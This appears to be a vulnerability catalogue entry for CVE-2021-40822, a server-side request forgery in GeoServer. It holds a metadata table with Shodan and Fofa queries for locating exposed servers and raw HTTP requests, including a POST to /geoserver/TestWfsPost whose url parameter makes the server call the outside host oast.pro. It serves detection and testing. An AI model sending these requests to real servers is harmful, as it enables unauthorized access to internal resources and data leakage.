| Title | Geoserver - Server-Side Request Forgery |
|---|---|
| Author | For3stCo1d,aringo-bf |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution. |
| Remediation | Apply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.93253 |
| CVE ID | CVE-2021-40822 |
| CWE ID | CWE-918 |
| Shodan Query | title:"GeoServer"http.title:"geoserver" |
| Fofa Query | app="GeoServer"app="geoserver"title="geoserver" |
| Tags | cve2021 cve ssrf geoserver osgeo vkev vuln |
GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.
GET /geoserver/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 (KHTML like Gecko) Version/6.0 Safari/536.16
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /geoserver/TestWfsPost HTTP/1.1
Host: oast.pro
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 70
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40822.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40822.pcap
N/AN/A